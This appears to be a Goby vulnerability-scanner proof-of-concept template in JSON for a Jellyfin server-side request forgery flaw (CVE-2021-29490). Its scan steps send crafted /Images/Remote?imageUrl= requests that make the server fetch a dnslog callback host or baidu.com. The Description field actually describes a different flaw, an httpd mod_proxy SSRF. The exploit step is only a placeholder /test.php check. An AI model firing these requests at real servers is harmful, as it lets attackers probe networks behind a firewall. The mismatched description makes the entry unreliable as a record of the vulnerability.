{
      "Name": "Jellyfin SSRF CVE-2021-29490",
      "Level": "3",
      "Tags": [
            "ssrf"
      ],
      "GobyQuery": "title==\"Jellyfin\"",
      "Description": "A Server-Side Request Forgery (SSRF) flaw was found in mod_proxy of httpd. This flaw allows a remote, unauthenticated attacker to make the httpd server forward requests to an arbitrary server. The attacker could get, modify, or delete resources on other services that may be behind a firewall and inaccessible otherwise. The impact of this flaw varies based on what services and resources are available on the httpd network.",
      "Product": "Jellyfin",
      "Homepage": "https://jellyfin.org/",
      "Author": "aetkrad",
      "Impact": "",
      "Recommendation": "",
      "References": [
            "https://mp.weixin.qq.com/s?__biz=MzkwNDI1NDUwMQ==&mid=2247485439&idx=3&sn=4bd6fc982541ca3ec610856c37a36c14"
      ],
      "HasExp": true,
      "ExpParams": null,
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "OR",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/Images/Remote?imageUrl=http://{{{check}}}",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": [
                              "check|dnslog|4|15"
                        ]
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$dns",
                                    "operation": "contains",
                                    "value": "{{{check}}}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            },
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/Images/Remote?imageUrl=http://www.baidu.com",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "百度",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/test.php",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "test",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "PostTime": "2021-12-10 13:58:26",
      "GobyVersion": "1.9.310"
}